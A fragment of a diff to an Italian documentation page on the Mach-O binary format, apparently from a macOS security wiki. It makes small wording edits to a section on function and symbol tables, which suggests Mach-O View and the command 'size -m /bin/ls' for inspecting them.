@ -374,15 +375,15 @@ I dati sono essenzialmente la parte che contiene tutte le **informazioni** caric
Ciò include: Ciò include:
* **Tabella delle funzioni:** Che contiene informazioni sulle funzioni del programma. - **Tabella delle funzioni**: Che contiene informazioni sulle funzioni del programma.
* **Tabella dei simboli**: Che contiene informazioni sulle funzioni esterne utilizzate dal binario - **Tabella dei simboli**: Che contiene informazioni sulle funzioni esterne utilizzate dal binario
* Potrebbe contenere anche funzioni interne, nomi di variabili e altro ancora. - Potrebbe contenere anche funzioni interne, nomi di variabili e altro.
Per controllarlo, potresti utilizzare lo strumento [**Mach-O View**](https://sourceforge.net/projects/machoview/): Per controllarlo, potresti utilizzare lo strumento [**Mach-O View**](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (1120).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1120).png" alt=""><figcaption></figcaption></figure>
O dal terminale: O tramite la riga di comando:
```bash ```bash
size -m /bin/ls size -m /bin/ls
``` ```

Some files were not shown because too many files have changed in this diff Show more